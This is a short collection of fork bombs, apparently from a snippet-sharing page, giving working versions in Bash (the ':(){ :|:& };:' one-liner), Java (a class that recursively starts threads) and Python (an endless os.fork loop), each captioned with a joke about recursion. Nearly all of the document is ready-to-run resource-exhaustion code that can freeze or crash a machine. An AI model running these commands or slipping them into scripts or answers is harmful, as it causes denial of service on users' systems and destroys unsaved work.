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Forkbomb

#!/bin/bash

:(){ :|:& };:		
Bash script: to understand recursion you must understand recursion
Forkbomb Java

public class ForkMe implements Runnable
{
  public static void main (String[] args)
  {
    new ForkMe().run();
  }
  
  public void run()
  {
    new Thread(this).start();
    this.run();
  }
}		
Java: to understand recursion you must understand recursion
Forkbomb Python

python -c 'while 1: __import__("os").fork()'		
Python: to understand recursion you must understand recursion